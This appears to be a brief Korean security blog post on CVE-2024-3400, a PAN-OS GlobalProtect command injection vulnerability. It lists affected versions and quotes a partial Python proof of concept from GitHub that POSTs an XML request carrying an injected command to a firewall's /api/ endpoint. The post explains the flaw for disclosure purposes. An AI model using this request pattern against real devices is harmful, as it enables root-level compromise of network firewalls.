[하루한줄] ITW CVE-2024-3400: Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생한 Command Injection 취약점
URL
- Exploit Code from Github
- Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400)
Target
- < PAN-OS 11.1.2-h3
- < PAN-OS 11.0.4-h1
- < PAN-OS 10.2.9-h1
Explain
CVE-2024-3400은 Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제인 PAN-OS에서 발견된 Command Injection 취약점입니다. 해당 취약점은 현재 UTA0218 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점으로 Exploit할 경우 root 권한으로 명령어를 실행할 수 있습니다.
def exploit_firewall(target_ip, payload, root_ca=None):
url = f"https://{target_ip}/api/"
data = f"""<?xml version="1.0" encoding="UTF-8"?>
<request>
<op cmd="test" />
<cmd code="ping">{payload}</cmd>
</request>"""
headers = {
"User-Agent": "PAN-OS-Exploit",
"Content-Type": "application/xml"
}
try:
if root_ca:
response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
else:
response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)
깃헙에 공개된 POC를 확인해 보면 단순하게 POST 요청의 데이터에 xml 포맷으로 원하는 명령어를 입력하면 명령어를 실행할 수 있습니다. PAN-OS에서는 해당 페이로드를 처리하는 과정에서 명령어에 대한 필터링을 하지 않아 취약점이 발생한 것으로 보이며 해당 명령어는 root 권한으로 실행됩니다.
외부 네트워크에서 공격을 쉽게 수행할 수 있고, 공격 난이도가 낮으며 공격 성공 시 root 권한을 획득할 수 있는 등의 임팩트를 고려해 CVSS4.0 10을 받았습니다.
해당 취약점은 내일(2024년 4월 14일)에 패치가 공개될 예정입니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.